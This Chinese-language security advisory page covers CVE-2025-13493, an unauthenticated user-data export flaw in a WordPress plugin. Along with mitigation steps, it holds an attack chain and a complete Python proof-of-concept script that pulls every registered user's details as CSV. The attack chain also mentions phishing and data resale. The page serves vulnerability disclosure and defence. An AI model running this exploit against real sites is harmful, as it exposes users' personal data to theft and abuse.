IPBUF安全漏洞报告
English
CVE-2025-13493 CVSS 7.5 高危

CVE-2025-13493 | WordPress Latest Registered Users插件未授权用户数据导出漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13493
漏洞类型
访问控制/未授权访问
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Latest Registered Users plugin for WordPress

相关标签

CVE-2025-13493WordPress插件漏洞未授权访问访问控制用户数据泄露CSV导出Latest Registered UsersBroken Access ControlMissing AuthorizationCVSS 7.5

漏洞概述

CVE-2025-13493是WordPress插件"Latest Registered Users"中的一个高危安全漏洞。该插件在1.4及以下所有版本中,由于rnd_handle_form_submit函数缺少权限验证和nonce验证,导致存在严重的访问控制缺陷。漏洞影响范围涉及admin_post_my_simple_form和admin_post_nopriv_my_simple_form两个动作钩子。由于admin_post_nopriv_my_simple_form允许未登录用户提交表单,攻击者无需任何认证即可利用此漏洞。通过构造恶意请求,攻击者可以利用'action'参数导出完整的用户详细信息(不包括密码和敏感令牌),并以CSV格式下载。这些用户数据可能包括用户名、邮箱、注册时间、IP地址等敏感信息一旦泄露,可能导致严重的隐私问题和后续攻击风险。该漏洞CVSS评分达到7.5,属于高危级别,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N,表明攻击复杂度低,无需权限和用户交互即可实现攻击。

技术细节

该漏洞的根本原因在于WordPress插件"Latest Registered Users"的rnd_handle_form_submit函数存在访问控制缺陷。问题出在以下两个方面:1) 缺少权限验证:函数未正确检查当前用户是否具有执行导出操作的权限;2) 缺少nonce验证:未验证请求的合法性,无法防止CSRF攻击。在WordPress中,admin_post_*动作钩子通常需要开发者自行添加权限检查,但该插件遗漏了这一关键步骤。更危险的是,admin_post_nopriv_my_simple_form钩子允许未认证用户直接提交表单。攻击者只需构造一个POST请求,将'action'参数设置为'my_simple_form',即可触发用户数据导出功能。导出的CSV文件包含所有注册用户的详细信息,但根据描述,密码和敏感令牌不在导出范围内。漏洞利用的关键代码位置在latest-registered-users.php的第246行附近,攻击者可通过分析插件源代码或观察网络请求来发现并利用此漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本,并检查是否安装了Latest Registered Users插件(版本<=1.4)。可以通过查看插件目录或发送探测请求来确认。
STEP 2
步骤2: 分析攻击面
攻击者分析插件代码,发现rnd_handle_form_submit函数被挂载到admin_post_my_simple_form和admin_post_nopriv_my_simple_form动作钩子上,且缺少权限和nonce验证。
STEP 3
步骤3: 构造恶意请求
攻击者构造一个POST请求,目标URL为/wp-admin/admin-post.php,设置action参数为'my_simple_form',并请求CSV格式导出。由于admin_post_nopriv_my_simple_form允许未认证访问,无需携带任何认证凭证。
STEP 4
步骤4: 触发漏洞
发送构造的恶意请求,服务器端插件的rnd_handle_form_submit函数被执行,因缺少授权检查,直接查询数据库获取所有用户信息并生成CSV文件。
STEP 5
步骤5: 数据窃取
服务器返回包含完整用户数据的CSV文件(用户名、邮箱、注册时间、IP地址等),攻击者下载并保存这些数据,用于后续攻击或数据倒卖。
STEP 6
步骤6: 利用泄露数据
攻击者利用获取的用户信息进行社会工程攻击、钓鱼攻击、凭证填充攻击或针对性的入侵活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys ''' CVE-2025-13493 PoC WordPress Latest Registered Users Plugin < 1.5 - Unauthorized User Data Export CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Description: Missing authorization and nonce validation in rnd_handle_form_submit allows unauthenticated attackers to export complete user details in CSV format. Usage: python poc.py <target_url> Example: python poc.py http://victim.com/wp-admin/admin-post.php ''' def exploit(target_url): """ Exploit the missing authorization vulnerability in Latest Registered Users plugin. The plugin hooks to admin_post_my_simple_form and admin_post_nopriv_my_simple_form without proper authorization checks. """ # Prepare the exploit payload # The 'action' parameter must be set to 'my_simple_form' to trigger the export data = { 'action': 'my_simple_form', 'export_format': 'csv' # Request CSV export format } print(f'[*] Sending exploit request to: {target_url}') print(f'[*] Action parameter: {data["action"]}') try: # Send POST request without authentication # admin_post_nopriv_my_simple_form allows unauthenticated access response = requests.post(target_url, data=data, timeout=30) print(f'[*] Response Status Code: {response.status_code}') print(f'[*] Response Content-Type: {response.headers.get("Content-Type", "unknown")}') # Check if CSV data was returned if 'text/csv' in response.headers.get('Content-Type', '').lower() or \ 'attachment' in response.headers.get('Content-Disposition', '').lower(): print('[+] SUCCESS: CSV export received!') print(f'[+] Content length: {len(response.content)} bytes') # Save the exported CSV data with open('exported_users.csv', 'wb') as f: f.write(response.content) print('[+] CSV data saved to: exported_users.csv') return True else: print('[-] Response does not appear to be CSV data') print(f'[-] Response preview: {response.text[:500]}') return False except requests.RequestException as e: print(f'[-] Request failed: {str(e)}') return False def main(): if len(sys.argv) < 2: print('Usage: python poc.py <target_url>') print('Example: python poc.py http://victim.com/wp-admin/admin-post.php') sys.exit(1) target_url = sys.argv[1] exploit(target_url) if __name__ == '__main__': main()

影响范围

Latest Registered Users plugin for WordPress <= 1.4

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 暂时禁用Latest Registered Users插件;2) 使用WAF(Web应用防火墙)规则阻止包含'action=my_simple_form'参数的POST请求到/admin-post.php;3) 限制wp-admin目录访问,仅允许可信IP地址访问;4) 监控日志中的异常admin-post.php请求,及时发现潜在攻击行为;5) 考虑使用替代插件实现相同功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表